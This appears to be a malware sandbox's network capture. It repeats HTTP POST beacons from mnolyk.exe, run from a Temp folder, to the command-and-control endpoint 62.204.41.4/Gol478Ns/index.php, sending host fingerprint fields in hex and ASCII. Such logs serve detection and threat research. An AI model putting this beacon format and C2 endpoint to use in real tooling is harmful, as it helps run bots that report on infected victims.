Feb 7, 2023 23:09:16.925700903 CET	615	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
501	192.168.2.7	50196	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:17.107942104 CET	616	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:17.171992064 CET	616	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
502	192.168.2.7	50197	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:17.360534906 CET	617	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:17.425403118 CET	617	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
503	192.168.2.7	50198	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:17.611552000 CET	618	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:17.678493023 CET	618	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
504	192.168.2.7	50199	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:17.854664087 CET	619	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:17.918106079 CET	619	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
505	192.168.2.7	50200	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:18.098931074 CET	620	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:18.165523052 CET	620	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
506	192.168.2.7	50201	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:18.336544037 CET	621	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:18.399946928 CET	621	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
507	192.168.2.7	50202	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:18.573599100 CET	622	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:18.637898922 CET	622	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
508	192.168.2.7	50203	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:18.814518929 CET	623	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:18.880453110 CET	623	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
509	192.168.2.7	50204	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:19.062252998 CET	624	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:19.134325981 CET	624	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.7	49746	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:13.923683882 CET	166	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:13.987709045 CET	166	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
510	192.168.2.7	50205	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:19.325526953 CET	625	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:19.390074968 CET	625	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
511	192.168.2.7	50206	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:19.556588888 CET	626	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:19.621167898 CET	626	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
512	192.168.2.7	50207	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:19.807801962 CET	627	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:19.874517918 CET	627	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
513	192.168.2.7	50208	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:20.046231031 CET	628	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:20.115149975 CET	628	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
514	192.168.2.7	50209	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:20.298654079 CET	629	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:20.363478899 CET	629	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
515	192.168.2.7	50210	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:20.545993090 CET	630	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:20.609539986 CET	630	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
516	192.168.2.7	50211	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:20.794111013 CET	631	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:20.859153032 CET	631	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
517	192.168.2.7	50212	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:21.026369095 CET	632	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:21.091089010 CET	632	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
518	192.168.2.7	50213	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:21.269830942 CET	633	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:21.333647966 CET	633	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
519	192.168.2.7	50214	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:21.511863947 CET	634	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:21.577199936 CET	634	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.7	49747	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:14.171173096 CET	167	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:14.233777046 CET	167	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
520	192.168.2.7	50215	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
